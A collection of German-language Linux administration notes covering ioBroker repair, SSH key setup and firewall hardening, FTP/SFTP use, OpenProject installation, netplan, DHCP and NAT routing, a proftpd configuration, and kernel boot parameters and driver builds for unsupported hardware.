host.SmartHomeCenter | 2020-05-10 09:28:01.782 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/build/Release/serialport.node
host.SmartHomeCenter | 2020-05-10 09:28:01.782 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/build/Debug/serialport.node
host.SmartHomeCenter | 2020-05-10 09:28:01.781 | error | Caught by controller[0]: → /opt/iobroker/node_modules/serialport/build/serialport.node
host.SmartHomeCenter | 2020-05-10 09:28:01.781 | error | Caught by controller[0]: Error: Could not locate the bindings file. Tried:
host.SmartHomeCenter | 2020-05-10 09:28:01.781 | error | Caught by controller[0]: ^
host.SmartHomeCenter | 2020-05-10 09:28:01.780 | error | Caught by controller[0]: throw err
host.SmartHomeCenter | 2020-05-10 09:28:01.780 | error | Caught by controller[0]: /opt/iobroker/node_modules/serialport/node_modules/bindings/bindings.js:96
Es gibt auch andere Fehlermeldungen die aber alle auf das gleiche hinauslaufen.
Die einfachste Option ist es dann manuell im richtigen Verzeichnis neu zu bauen.
In dem Fall das Verzeichenis mit "bindings" suchen - oben ist das /opt/iobroker/node_modules/serialport/node_modules/bindings ... bei neueren Versionen kann es auch etwas wie /opt/iobroker/node_modules/serialport/node_modules/@serialport/bindings sein.
Dann in dieses Verzeichnis wechseln und npm install --production
ausführen. Danach den Adapter nochmal sneu starten, das sollte dann tun.
Ein weiterer Fall sind Adapter mit canvas Modul (ggf echarts oder Mihome-vacuum) wo es Probleme gebe kann.
Andere Sonderfälle muss man sich im Detail ansehen. Bitte unten Posten und wir unterstützen.
WEITERE NOTFALL OPTIONEN
Im früheren Artikel unter https://forum.iobroker.net/topic/22867/how-to-node-js-für-iobroker-richtig-updaten sind noch weitere manuelle Möglichkeiten beschrieben ioBroker wieder zum laufen zu bekommen, aber diese sollten an sich nicht mehr nötig sein, gehen aber natürlich auch noch!
Dieser Artikel gilt also auch weiterhin.
Jetzt viel Erfolg und gebt bitte Feedback wie git es geklappt hat oder welche Probleme Ihr habt.
Server Sicherheit erhöhen
Um die Sicherheit auf einem Server zu erhöhen sollten ein paar Vorkehrungen getroffen werden.
Youtube Viedos
Wichtige erste Schritte auf einem Server
SSH Zugang anpassen
Den standard-mäßigen Zugang als root-User auf Linux deaktivieren. Durch die Deaktivierung wird schon mal die erste Hürde eines Hackers aufgebaut, dass er nicht weiß, wie der Admin-User heißt.
Neuen User anlegen, der die Admin Rolle übernehmen soll
Wir arbeiten als root user
adduser BENUTZERNAME
Passwort vergeben und Daten eintragen wenn gewünscht
Neuen User der Gruppe sudo hinzufügen
usermod -aG sudo BENUTZERNAME
Home-Verzeichnis Rechte setzen (Client und Server)
:~$ sudo chmod 755 /home/<Benutzer>
Schlüsselpaar auf dem Client erstellen
Ich habe mich für einen 2048 Bit langen RSA-Schlüssel entschieden. Ihr könnt die folgenden Eingaben mit Enter bestätigen. Die Eingabe einer Passphrase für den Key ist empfohlen, doch für unser Vorhaben nicht praktikabel.
:~$ ssh-keygen
Public Key vom Client auf den Server transferieren
Bei diesem Schritt ist die Eingabe des Passworts ein letztes Mal notwendig, um den Key auf den Server zu transferieren.
:~$ ssh-copy-id <Benutzer>@192.168.0.130
Public Key vom Server aus vom Client holen
die id_rsa.pub datei per scp auf den Server kopieren und mit cat id_rsa.pub >> /home/hermann/.ssh/authorizied_keys
anhängen
oder
Der Key kann auch manuell auf den Server übertragen werden indem man auf dem Server im Homeverzeichnis des Benutzers mit dem man sich verbinden will unter /home/benutzer/.ssh/authorizised_keys den text aus der id_rsa.pub Datei rein kopiert.
Wurde die Verbindung erfolgreich hergestellt, ist in der Datei /home/<Benutzer>/.ssh/authorized_keys auf dem Server der Public-Key vom Client erfolgreich eingetragen. Prüfen könnt ihr das wie folgt:
:~$ cat /home/<Benutzer>/.ssh/authorized_keys
SSH-Key Verbindung testen – Client zu Server
So könnt ihr testen, ob die Einrichtung erfolgreich abgeschlossen wurde – die Passworteingabe ist ab jetzt nicht mehr erforderlich.
:~$ ssh <Benutzer>@192.168.0.130
Hat man die Konfiguration abgeschlossen und der SSH Zugriff mit Key funktioniert, so ist die Deaktivierung des Anmeldeverfahrens mit Passwort möglich. Dazu einfach diese Zeile in der systemweiten Konfiguration ändern.
:~$ sudo nano /etc/ssh/ssh_config
SSH-Config anpassen
# Datei befindet sich /etc/ssh/sshd_config
PermitRootLogin no
PasswordAuthentication no
# Erst einen Ordner für den Key anlegen
mkdir /home/BENUTZERNAME/.ssh
# der Authorized Key befindet sich unter /root/.ssh
cp /root/.ssh/authorized_key /home/BENUTZERNAME/.ssh
SSH Neustarten
sudo systemctl restart sshd
Firewall
Installieren
apt install ufw
# Applikationen anzeigen
ufw app list
# Alles blockieren
ufw default deny incoming
# SSH erlauben
ufw allow 22/tcp
# Firewall aktivieren
ufw enable
# Firewall Status anzeigen
ufw status
# Port für eine IP-Ardesse frei geben
sudo ufw allow from 192.168.1.100 to any port 80
# Ping verbieten
sudo ufw deny proto icmp
Systemcheck durchführen
git clone https://github.com/CISOfy/lynis
cd lynis
sudo chown -R 0:0 *
sudo ./lynis audit system
Die Warnungen mit 'System-analyze security' kann man dabei ignorieren, denn dabei geht es nur um optionale Sandbox-Funktionen von Systemd.
Logwatch: Über Angriffe Informiert
sudo apt install logwatch
# Starten
sudo logwatch
FTP Im Terminal verwenden
Zum Austausch von Dateien zwischen FTP Server und Linux Rechner im Terminal
FTP Server auf Linux installieren
In this tutorial, I will explain how to use the Linux ftp command on the shell. I will show you how to connect to an FTP server, up- and download files and create directories. While there are many nice desktops FTP clients available, the FTP command is still useful when you work remotely on a server over an SSH session and e.g. want to fetch a backup file from your FTP storage.
FTP
Step 1: Establishing an FTP connection
To connect to the FTP server, we have to type in the terminal window 'ftp' and then the domain name 'domain.com' or IP address of the FTP server.
Examples:
ftp domain.com
ftp 192.168.0.1
ftp user@ftpdomain.com
Note: for this example we used an anonymous server.
Replace the IP and domain in the above examples with the IP address or domain of your FTP server.
Step 2: Login with User and Password
Most FTP servers logins are password protected, so the server will ask us for a 'username' and a 'password'.
If you connect to a so-called anonymous FTP server, then try to use "anonymous" as username and an empty password:
Name: anonymous
Password:
The terminal will return a message like this:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
When you are logged in successfully.
Step 3: Working with Directories
The commands to list, move and create folders on an FTP server are almost the same as we would use the shell locally on our computer, ls stands for list, cd to change directories, mkdir to create directories...
Listing directories with security settings:
ftp> ls
The server will return:
Changing Directories:
To change the directory we can type:
ftp> cd directory
The server will return:
Step 4: Downloading files with FTP
Before downloading a file, we should set the local FTP file download directory by using 'lcd' command:
lcd /home/user/yourdirectoryname
If you dont specify the download directory, the file will be downloaded to the current directory where you were at the time you started the FTP session.
Now, we can use the command 'get' command to download a file, the usage is:
get file
The file will be downloaded to the directory previously set with the 'lcd' command.
The server will return the next message:
To download several files we can use wildcards. In this example, I will download all files with the .xls file extension.
mget *.xls
Step 5: Uploading Files with FTP
We can upload files that are in the local directory where we made the FTP connection.
To upload a file, we can use 'put' command.
put file
When the file that you want to upload is not in the local directory, you can use the absolute path starting with "/" as well:
put /path/file
To upload several files we can use the mput command similar to the mget example from above:
mput *.xls
Step 6: Closing the FTP connection
Once we have done the FTP work, we should close the connection for security reasons. There are three commands that we can use to close the connection:
bye
exit
quit
Any of them will disconnect our PC from the FTP server and will return:
221 Goodbye
SFTP
Sicheres Übertragen
Verbindung herstellen
sftp user@10.1.1.10
Ordner übertragen
# Hochladen
put -r Ordnername
# herunterladen
get -r Ordnername
Openproject
Installation
Update the apt
package index and install packages to allow apt
to use a repository over HTTPS:
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates wget
Import the PGP key used to sign our packages:
wget -qO- https://dl.packager.io/srv/opf/openproject/key | sudo apt-key add -
Note: you might get a warning when importing the key Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8))
. This happens because APT has updated the way it manages signing keys, and the package provider is not supporting the new way yet.
Add the OpenProject package source:
sudo wget -O /etc/apt/sources.list.d/openproject.list \
https://dl.packager.io/srv/opf/openproject/stable/12/installer/ubuntu/22.04.repo
Download the OpenProject package:
sudo apt-get update
sudo apt-get install openproject
Update
sudo apt-get update --allow-releaseinfo-change
sudo apt-get update
sudo apt-get install --only-upgrade openproject
sudo openproject configure
On Ubuntu 22.04., you might see warnings like these:
W: https://dl.packager.io/srv/deb/opf/openproject/stable/12/ubuntu/dists/22.04/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details.
This message is due to Ubuntu 22.04 switching to a more secure way of adding repository sources, which is not yet supported by the repository provider. There is ongoing work on this item, the message is for information only.
If you get an error like the following:
E: Repository ‘https://dl.packager.io/srv/deb/opf/openproject/stable/12/ubuntu 22.04 InRelease’ changed its ‘Origin’ value from ‘’ to ‘https://packager.io/gh/opf/openproject’ E: Repository ‘https://dl.packager.io/srv/deb/opf/openproject/stable/12/ubuntu 22.04 InRelease’ changed its ‘Label’ value from ‘’ to ‘Ubuntu 22.04 packages for opf/openproject’
These two messages messages are expected, due to a change in Origin and Label repository metadata, to better explain what the repository is about. You should allow the change, and/or run sudo apt-get update --allow-releaseinfo-change
for the update to go through.
Konfiguration
nano /etc/openproject/conf.d/server
Server-Adresse: "0penpr.hhml.selfhost.co"
Export ... = "https"
Außerdem in den Admineinstellungen die URL ändern.
Ubuntu Server Netzwerk
Was muss alles erledigt werden
- DHCP-Server
- ip-Forwarding
- NAT aktivieren
Netzwerk
Fritz.Box | 10.1.1.1 |
Ubuntu Server |
10.1.1.160 10.10.1.254 |
Client |
10.10.1.51 |
Funkionierend Geilfuss
Schema 2
Schema
Netzwerkeinstellungen Ubuntu Server
Die YAML-Dateien, die von netplan genutzt werden, befinden sich im Verzeichnis
/etc/netplan
Nach der Installation von Ubuntu Server existiert dort bereits die YAML-Datei “50-cloud-init.yaml”, die indes nur wenige Vorgaben enthält.
Statische IP-Adresse
In diesem Beispiel soll für die Netzwerkkarte (eth0) die statische IP-Adresse “192.168.178.2” genutzt werden. Die Gateway-Adresse soll “192.168.178.1” lauten, und als Nameserver soll ebenfalls diese Adresse konfiguriert werden. Dazu kommt noch der Google-Server “8.8.8.8”. Die YAML-Datei “50-cloud-init.yaml” würde dann folgendermaßen aussehen:
Die Datei zum bearbeiten der Netzwerkkonfiguration befindet sich hier: cd /etc/netplan/xxx.yaml
und kann mit sudo nano
bearbeitet werden
network:
version: 2
renderer: networkd
ethernets:
eth0:
dhcp4: false
dhcp6: false
optional: true
addresses: [192.168.178.2/24]
gateway4: 192.168.178.1
nameservers:
addresses: [192.168.178.1,8.8.8.8]
Damit die Konfiguration nun aufgrund dieser Einstellungen durchgeführt wird, ist die Anweisung
$ sudo netplan apply
auszuführen. Falls Fehlermeldungen erscheinen sollten, kann die Anweisung
$ sudo netplan --debug apply
weiterhelfen.
DHCP
Für die Einrichtung einer IP-Adressvergabe per DHCP könnte die YAML-Datei wie folgt aussehen:
network:
version: 2
renderer: networkd
ethernets:
eth0:
dhcp4: true
Damit diese Einstellungen übernommen werden, muss auch hier die Anweisung
$ sudo netplan apply
Installation DHCP-Server
At a terminal prompt, enter the following command to install dhcpd:
sudo apt install isc-dhcp-server
NOTE: dhcpd’s messages are being sent to syslog. Look there for diagnostics messages.
Configuration
You will probably need to change the default configuration by editing /etc/dhcp/dhcpd.conf
to suit your needs and particular configuration.
Der nächste Punkt führt zu Problemen mit DHCP
Als erste Änderung sollte im oberen Bereich der Datei das Kommentarzeichen vor authoritative; entfernt werden. Hierdurch wird der Server zum zentralen DHCP-Server, wodurch Probleme mit anderen DHCP-Servern ausgeschlossen werden.
authoritative;
DHCP-Server Konfiguration
Most commonly, what you want to do is assign an IP address randomly. This can be done with settings as follows:
# minimal sample /etc/dhcp/dhcpd.conf
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.150 192.168.1.200;
option routers 192.168.1.254;
option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name "mydomain.example";
}
This will result in the DHCP server giving clients an IP address from the range 192.168.1.150-192.168.1.200. It will lease an IP address for 600 seconds if the client doesn’t ask for a specific time frame. Otherwise the maximum (allowed) lease will be 7200 seconds. The server will also “advise” the client to use 192.168.1.254 as the default-gateway and 192.168.1.1 and 192.168.1.2 as its DNS servers.
You also may need to edit /etc/default/isc-dhcp-server
to specify the interfaces dhcpd should listen to.
INTERFACESv4="eth4"
After changing the config files you have to restart the dhcpd service:
sudo systemctl restart isc-dhcp-server.service
ip-Forwarding
Damit Ubuntu Server Daten weiterleitet muss ip-forwarding aktiviert werden. Dazu:
sudo nano /etc/sysctl.conf
und den Eintrag einkommentieren:
net.ipv4.ip_forward=1
Aktivieren Sie die Änderungen mit:
sudo sysctl -p
Statische Route Ubuntu Server
sudo ip route add Zielnetzwerk-adresse/Subnetzmaske via Gateway-Adresse
Wenn man eine Route aktualisieren will verwendet man ip route replace
Außerdem wird die netplan config yaml angepasst.
cd /etc/netplan
nano xxx.yaml
Die Einstellung gehört auf die LAN Seite (Ausgehender Netzwerkadapter)
network:
version: 2
ethernets:
ens19:
routes:
- to: <zielnetzwerk>
via: <gateway>
Um die Änderung zu aktivieren:
sudo netplan apply
NAT Aktivieren
iptables -t nat -A POSTROUTING -o ens18 -j MASQUERADE
Damit die iptables dauerhauft gespeichert werden muss iptables-persistent installiert werden
apt install iptables-persistent
Wenn Änderungen vorgenommen werden können diese gespeichert werden mit:
iptables-save > /etc/iptables/rules.v4
Fritzbox konfigurieren
Nicht vergessen
Der Router muss eine Statische Route entgetragen werden.
Unter Netzwerk > Erweiterte Einstellungen > Statische Route
Netzwerk | IP-Adresse des dahinterligenden Netzwerkes 10.1.1.0 |
Subnetzmaske | 255.255.255.0 |
Gateway | Ubuntu Server Adresse 192.168.1.172 |
Linux auf Deutsch umstellen
Tastatur auf deutsch
dpkg-reconfigure keyboard-configuration
Danach folgendes eingeben
loadkeys de
FTP Server installieren für Paperless
Kann aber auch für andere Sachen verwendet werden
#### Paperless NGX - Nextcloud - Scanner Workflow ####
## FTP-Server installieren ##
apt-get install proftpd
## config bearbeitren ##
mv /etc/proftpd/proftpd.conf /etc/proftpd/proftpd.conf.old
nano /etc/proftpd/proftpd.conf
######################################### paste ######################################
# /etc/proftpd/proftpd.conf -- This is a basic ProFTPD configuration file.
# To really apply changes, reload proftpd after modifications, if
# it runs in daemon mode. It is not required in inetd/xinetd mode.
#
# Includes DSO modules
Include /etc/proftpd/modules.conf
# Set off to disable IPv6 support which is annoying on IPv4 only boxes.
#UseIPv6 on
# If set on you can experience a longer connection delay in many cases.
#IdentLookups off
ServerName "myserver.com"
# Set to inetd only if you would run proftpd by inetd/xinetd.
# Read README.Debian for more information on proper configuration.
ServerType standalone
DeferWelcome off
MultilineRFC2228 on
DefaultServer on
ShowSymlinks on
TimeoutNoTransfer 600
TimeoutStalled 600
TimeoutIdle 1200
DisplayLogin welcome.msg
DisplayChdir .message true
ListOptions "-l"
DenyFilter \*.*/
# Use this to jail all users in their homes
DefaultRoot ~
# Users require a valid shell listed in /etc/shells to login.
# Use this directive to release that constrain.
# RequireValidShell off
# Port 21 is the standard FTP port.
Port 21
# In some cases you have to specify passive ports range to by-pass
# firewall limitations. Ephemeral ports can be used for that, but
# feel free to use a more narrow range.
# PassivePorts 49152 65534
# If your host was NATted, this option is useful in order to
# allow passive tranfers to work. You have to use your public
# address and opening the passive ports used on your firewall as well.
# MasqueradeAddress 1.2.3.4
# This is useful for masquerading address with dynamic IPs:
# refresh any configured MasqueradeAddress directives every 8 hours
# DynMasqRefresh 28800
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd)
MaxInstances 30
# Set the user and group that the server normally runs at.
User proftpd
Group nogroup
# Umask 022 is a good standard umask to prevent new files and dirs
# (second parm) from being group and world writable.
Umask 022 022
# Normally, we want files to be overwriteable.
AllowOverwrite on
# Uncomment this if you are using NIS or LDAP via NSS to retrieve passwords:
# PersistentPasswd off
# This is required to use both PAM-based authentication and local passwords
# AuthOrder mod_auth_pam.c* mod_auth_unix.c
# Be warned: use of this directive impacts CPU average load!
# Uncomment this if you like to see progress and transfer rate with ftpwho
# in downloads. That is not needed for uploads rates.
#
# UseSendFile off
TransferLog /var/log/proftpd/xferlog
SystemLog /var/log/proftpd/proftpd.log
# Logging onto /var/log/lastlog is enabled but set to off by default
#UseLastlog on
# In order to keep log file dates consistent after chroot, use timezone info
# from /etc/localtime. If this is not set, and proftpd is configured to
# chroot (e.g. DefaultRoot or ), it will use the non-daylight
# savings timezone regardless of whether DST is in effect.
#SetEnv TZ :/etc/localtime
QuotaEngine off
Ratios off
# Delay engine reduces impact of the so-called Timing Attack described in
# http://www.securityfocus.com/bid/11430/discuss
# It is on by default.
DelayEngine on
ControlsEngine off
ControlsMaxClients 2
ControlsLog /var/log/proftpd/controls.log
ControlsInterval 5
ControlsSocket /var/run/proftpd/proftpd.sock
AdminControlsEngine off
#
# Alternative authentication frameworks
#
#Include /etc/proftpd/ldap.conf
#Include /etc/proftpd/sql.conf
#
# This is used for FTPS connections
#
#Include /etc/proftpd/tls.conf
#
# Useful to keep VirtualHost/VirtualRoot directives separated
#
#Include /etc/proftpd/virtuals.conf
# A basic anonymous configuration, no upload directories.
#
# User ftp
# Group nogroup
# # We want clients to be able to login with "anonymous" as well as "ftp"
# UserAlias anonymous ftp
# # Cosmetic changes, all files belongs to ftp user
# DirFakeUser on ftp
# DirFakeGroup on ftp
#
# RequireValidShell off
#
# # Limit the maximum number of anonymous logins
# MaxClients 10
#
# # We want 'welcome.msg' displayed at login, and '.message' displayed
# # in each newly chdired directory.
# DisplayLogin welcome.msg
# DisplayChdir .message
#
# # Limit WRITE everywhere in the anonymous chroot
#
#
# DenyAll
#
#
#
# # Uncomment this if you're brave.
# #
# # # Umask 022 is a good standard umask to prevent new files and dirs
# # # (second parm) from being group and world writable.
# # Umask 022 022
# #
# # DenyAll
# #
# #
# # AllowAll
# #
# #
#
#
# Include other custom configuration files
Include /etc/proftpd/conf.d/
## FTP-Server neu starten ##
systemctl restart proftpd
## Verzeichnisse ##
PDF-Input - /consume
PDF-Output - /media/documents/archive
Treiber & Hardware für Linux
Gängige Linux-Distributionen bringen Treiberfür fast jede Hardware mit. Sollte ein Gerät nicht vollständig unterstützt werden oder gar nicht funktionieren, gibt es auch dafür Lösungen.
Computerhardware wird vor allem für den Windows-Markt produziert. Vom Gerätehersteller können Linux-Nutzer kaum Unterstützung erwarten und zusätzliche Treiber für Linux gibt es in der Regel nicht als Setup-Paket. Es ist daher ratsam, sich bereits vor dem Kauf neuer Hardware über die Linux-Tauglichkeit zu informieren. Auf älteren PCs oder Notebooks lässt sich Linux meist hne besondere Auffälligkeiten installieren. Aber auch hier kann es in Ausnahmefällen vorkommen, dass der Bildschirm schwarz leibt, einzelne Funktionen unter Linux nicht bereitstehen oder neuere Hardware am USB-Anschluss nicht erkannt wird. Einige Probleme lassen sich durch Konfigurationsänderungen oder durch Wechsel der Linux-Distribution beheben. Am Anfang steht jedoch die Untersuchung der Hardware. Die kann ergeben, dass sich das Gerät mit einem neueren Kernel oder einem zusätzlichen Treiber nutzen lässt.
Hardwaremacken umgehen
PC-Hardware folgt keinen eindeutigen Standards. Für die Hersteller ist nur eins
24 wichtig: Windows muss anstandslos laufen. Der eine oder andere Fehler in der Firmware oder auf der Hauptplatine wird dann bei Bedarf über einen Treiber repariert, den es für Linux aber nicht gibt. Besonders Notebooks, die auf Microsoft Windows zugeschnitten sind, bereiten mit ihren zahlreichen Bios-Versionen, abweichenden ACPI-Stromsparfunktionen und Chipsatzvarianten häufiger Ärger. Mal bleibt der Bildschirm dunkel, mal geht nach den ersten Bootmeldungen nichts mehr weiter. Bei der Linux-Neuinstallation helfen dann oft spezielle Kernel-Parameter weiter. Wenn Sie Ubuntu 22.04 oder Linux Mint 21 vom Installationsmedium booten, begrüßt Sie das Grub-Bootmenü. Mit dem ersten Eintrag „Try or Install Ubuntu“ beziehungsweise „Start Linux Mint 21 Cinnamon 64-Bit“ startet das System mit den Standardeinstellungen. Sollte der Bildschirm schwarz bleiben oder unlesbar sein, kann der zweite Menüeintrag „Ubuntu (safe graphics)” oder „Start Linux Mint 21 Cinnamon 64-Bit (compatibility mode)“ weiterhelfen. Dabei werden Optionen an den Kernel übergeben, die die Hardwaresteuerung beeinflussen. Jedes Linux-System bietet eine Reihe von Kernel-Optionen - in der Dokumentation oft auch als Bootparameter oder Cheatcodes bezeichnet.
Über das Grub-Bootmenü lassen sich zusätzliche Optionen angeben. Dazu drückt man nach der Markierung eines Booteintrags die Taste E und erhält dann einen Mini-Texteditor für den jeweiligen Eintrag gezeigt. Die Navigation im Textfeld erfolgt mit den Cursortasten. Grundsätzlich müssen Kernel-Parameter in die Zeile eingetragen werden, die mit „linux“ beginnt, aber vor „--"”. Nach der Änderung startet die Taste F10 den Booteintrag mit den neuen Einstellungen.
Bitte beachten Sie, dass im Grub-Editor eine englischsprachige Tastaturbelegung gilt. Bleibt der Bildschirm nach einem zunächst erfolgreichen Start dunkel, so lieg dies meist an nicht ausreichend unterstützten Grafikchips. Folgende Optionen können in diesem Fall weiterhelfen.
xforcevesa: Bei der Angabe dieser Option nutzt der Kernel für die Anzeige der grafischen Oberfläche nur den Vesa-Modus. Dieser Modus läuft auf den meisten Grafikchips, ohne jedoch deren spezielle Merkmale wie Hardwarebeschleunigung und Fähigkeiten zu nutzen.
nomodeset: Aktuelle Linux-Kernel können den Bildschirmmodus auf eigene Faust wechseln und schalten schon während des Bootvorgangs in einen grafischen Modus. Dies funktioniert nicht bei allen Grafikchips - so haben einige Modelle von Nvidia Probleme damit. Mit „nomodeset“ verzichtet der Kernel auf den Wechsel in den Grafikmodus und bleibt bei purem Text. Ubuntu und Linux Mint verwenden diese Option bei Auswahl des zweiten Menüeintrags. Auf einigen Notebooks verhindern inkompatible Stromsparfunktionen im ACPI (Advanced Configuration and Power Interface den Linux-Start. Linux Mint verwendet beim Menüeintrag „Start Linux Mint 21 Cinnamon 64-Bit (compatibility mode)“ einige der nachfolgend genannten Optionen.
acpi=off oder noacpi zwingt Linux dazu, ACPI komplett zu ignorieren und damit ohne Stromsparfunktionen und Leistungsmanagement für CPU und GPU zu starten. Auch Hyperthreading und die Lüfterregelung sind abgeschaltet.
acpi=ht: Mit dieser Option beachtet der Linux-Kernel gerade mal so viele ACPI-Fähigkeiten der Hardware, dass Hyperthreading
der CPU funktioniert. Andere Stromsparfunktionen bleiben dagegen deaktiviert.
acpi=strict weist die ACPI-Unterstützung des Kernels an, nur ACPI-Merkmale der vorhandenen Hardware zu beachten, die
exakt dem Standard folgen. Auf problematischen Notebooks ist diese Option immer einen Versuch wert.
acpi_osi=linux umgeht die Abfrage des Linux-Kernels, ob das ACPI eines Rechners kompatibel ist. Sinnvoll ist dieser Parameter, wenn einige Stromsparfunktionen nicht verfügbar sind oder die Drehzahlsteuerung der Lüfter nicht funktioniert. Eine weitere Komponente nennt sich „Local APIC” und nimmt die Interrupt-Anforderungen auf jedem Prozessorkern entgegen. Der
Parameter „nolapic“ löst vielfältige Probleme mit heiklen Bios-Versionen, reduziert aber in jedem Fall die Zahl der vorhandenen CPU-Kerne auf einen. Geeignet ist dies nur als erste Hilfe, bis ein Bios-Update oder eine neue Kernel-Version echte Abhilfe schafft.
noapic: Verhindert, dass APIC für die Auflösung von Hardwarekonflikten auf Interrupt-Ebene verwendet wird. Der Parameter hilft auf Systemen mit einem unverträglichen Bios und inkompatiblen ACPI-Funktionen weiter. Eine häufig erfolgreiche Kom-
bination bei besonders widerspenstigen Notebooks ist diese: acpi=off noapic nolapic
iommussoft: Die „Input-Output Memory Management Unit“ (IOMMU) ist ein Merkmal einiger Hauptplatinen und erlaubt Peripheriegeräten den direkten Speicherzugriff. Dies funktioniert zusammen mit Linux nicht immer, was zum Ausfall von USB-Ports oder Netzwerkchip führt. Dieser Parameter aktiviert zusammen mit abgeschaltetem IOMMU im Bios/Uefi, ein softwaremäßiges IOMMU.
Für Ubuntu und Co. liefert die englischsprachige Hilfeseite https://help.ubuntu.com/community/BootOptions eine Übersicht geläufiger Bootparameter. Die komplette Liste der Parameter mit Beschreibung für Entwickler bietet die offizielle Kernel-Dokumentation unter https://www.kernel.org/doc/htmi/latest/admin-guide/kernel-parameters.html
Nach der Linux-Installation: Für ein installiertes System lassen sich die gewünschten Kernel-Optionen via Bootloader genauso angeben wie im Live- und Installationssystem. Damit eine Änderung permanent gilt, ist die Bearbeitung einer Konfigurationsdatei mit sudo-Recht nötig:sudo -H gedit /etc/default/grub
Die Zeile
GRUB_CMDLINE_
LINUX=" [parameter1]=[wert1]
[parameter2]=[wert2]"
definiert die manuell hinzugefügten Angaben. Stehen hier schon Optionen, so ergänzen Sie zusätzlich nötigen nach einem Leerzeichen in dieser Zeile. Nach Änderung und Sicherung der Konfigurationsdatei ist die Änderung aber noch nicht wirksam, denn erst muss noch der Bootloader mit diesem Terminalbefehl aktualisiert werden:sudo update-grub
Erst danach startet das Linux-System standardmäßig mit den hinzugefügten Kernel-Optionen.
Kein Treiber: Hardware Infos findet man bei https://linux-hardware.org. Für das Gerät mit der ID "OBda:b812" ist bis einschließlich Version 5.19 kein Kernel-Modul vorhanden
Hardware untersuchen und Infos finden
Jedes interne und externe Gerät besitzt eine eindeutige ID, die über den Hersteller und das Gerät informiert. Diese IDs lassen sich im Terminal mit den folgenden drei Befehlszeilen auslesen und in einer Datei speichern:sudo lshw -numeric -html > lshw.html
sudo lspci -nn > lspci.txt
sudo lsusb -v > lsusb.txt
In der Datei „Ishw.html“ finden Sie allgemeine Informationen zum PC, etwa den Typ der Hauptplatine, die Firmwareversion und den Prozessortyp. „Ispci.txt” zeigt Informationen über per PCI (Peripheral Component Interconnect) angebundene Komponenten, beispielsweise Soundchips („Audio device“), Grafikkarten („VGA compatible controller“) und Netzwerkchips („Ethernet controller“). In der Datei „Isusb.txt” sehen Sie, welche Geräte mit den USB-Ports verbunden sind.
Ein Beispiel: Mit Isusb finden Sie die ID „Obda:b812“. Der erste Teil „Obda“ verweist auf den Hersteller „Realtek Semiconductor Corp.” (siehe USB ID Repository: https://usb-ids.gowdy.us/read/UD), der zweite Teil „6812“ kennzeichnet das Gerät. Eine Internetsuche nach der kompletten ID liefert einige Ergebnisse, darunter auch https;//linux-hardware.org/?id=usb:Obda-b812. Hier erfährt man, dass bis einschließlich Kernel 5.19 kein Treiber für diesen WLAN-Stick mit dem Chipsatz „RTL88x2bu“ verfügbar ist. In der Liste unter „Status“ sind einige Analysen zu finden, die Nutzer an https://linux-hardware.org gesendet haben. Bei den meisten steht „failed“- das Gerät ließ sich also nicht in Betrieb nehmen. Die ersten Einträge mit „works“ weisen darauf hin, dass ein Treiber von https://github.com/morrownr/88x2bu für diese Hardware erforderlich ist.
Problemlösung: Nach einsendung der Hardwareanalyse zeigt https://linuxhardware.org an, welches Gerät nicht funktioniert und was dagegen zu tun ist.
Analysedaten einsenden: Statt nach der Geräte-ID zu suchen, kann man die Daten seines PCs selbst anonym bei https://linux-hardware.org hochladen und dort prüfen lassen. Nutzer von Ubuntu oder Linux Mint installieren das nötige Tool im Terminal:
sudo apt install hw-probe und starten es so: sudo -E hw-probe -all -upload Sie erhalten eine URL, die Sie im Browser aufrufen. In der Übersicht unter „Devices“ sind dann alle Geräte aufgelistet. Steht in der Spalte „Status“ der Eintrag „works“ oder „detected“, sollte das Gerät funktionieren. Ausrufungszeichen deuten jeweils darauf hin, dass es bei einzelnen Benutzern Probleme gab. Ein Klick darauf führt zu weiteren Informationen. Beim Status „failed“ wurde kein Treiber gefunden, geladen oder konfiguriert. Sofern vorhanden, führt ein Kasten rechts daneben zur Lösung. Weiter unten auf der Seite unter „Logs“ kann man sich per Klick etwa auf „Hwinfo“, „Lspci” oder „Lsusb“ die Ausgaben der jeweiligen Tools anzeigen lassen.
Neue Kernel oder Treiber
Die Infos von https://linux-hardware.org können ergeben, dass ein neuerer Kernel die Hardware unterstützt. Welchen Kernel Ihr System aktuell nutzt, finden Sie im Terminal mit dem Befehluname -a
heraus. Ubuntu 22.04 und Linux Mint 21 verwenden zur Zeit die Kernel-Version 5.15. Wer einen neueren Kernel benötigt, muss ihn selbst erstellen. Eine Anleitung für Ubuntu und Linux Mint finden Sie über https;//m6u.de/BMUK. Alternativ kann man zu einer
Distribution wechseln, die deutliche aktuellere Updates bietet („Rolling Release”). Manjaro Linux beispielsweise ist aktuell schon bei Kernel 6.0.2 (https://manjaro.org).
Treiber kompilieren: Wenn der Quellcode verfügbar ist, kann man den Treiber selbst erstellen. Dabei gibt es zwei Herausforderungen: Der Quellcode muss zum laufenden Kernel passen und die nötigen Schritte können sich je nach Treiber unterscheiden Lesen Sie daher immer die zugehörigen Anleitungen sorgfältig durch. Exemplarisch liefern wir eine kurze Anleitung für den oben genannten WLAN-Stick mit dem Chipsatz „RTLESX2bu”.
Schritt 1: Öffnen Sie ein Terminal und installieren Sie einige zusätzliche Pakete:sudo apt install git build-essential dkms linux-headers-$(uname -r)
Schritt 2: Gehen Sie auf https://github.com/morrownr/88x2bu-20210702 und klicken Sie auf „Code“. Kopieren Sie die URL unter „HTTPS". Dann erstellen Sie ein Arbeitsverzeichnis und laden den Quelltext des Treibers herunter (vier Zeilen):mkdir -p ~/src
cd ~/src
git clone [URL]
cd 88x2bu-20210702
Statt „[URL]* fügen Sie die zuvor kopierte Adresse ein. Passen Sie die Pfadangabe hinter „cd“ entsprechen der Treiberversion an.
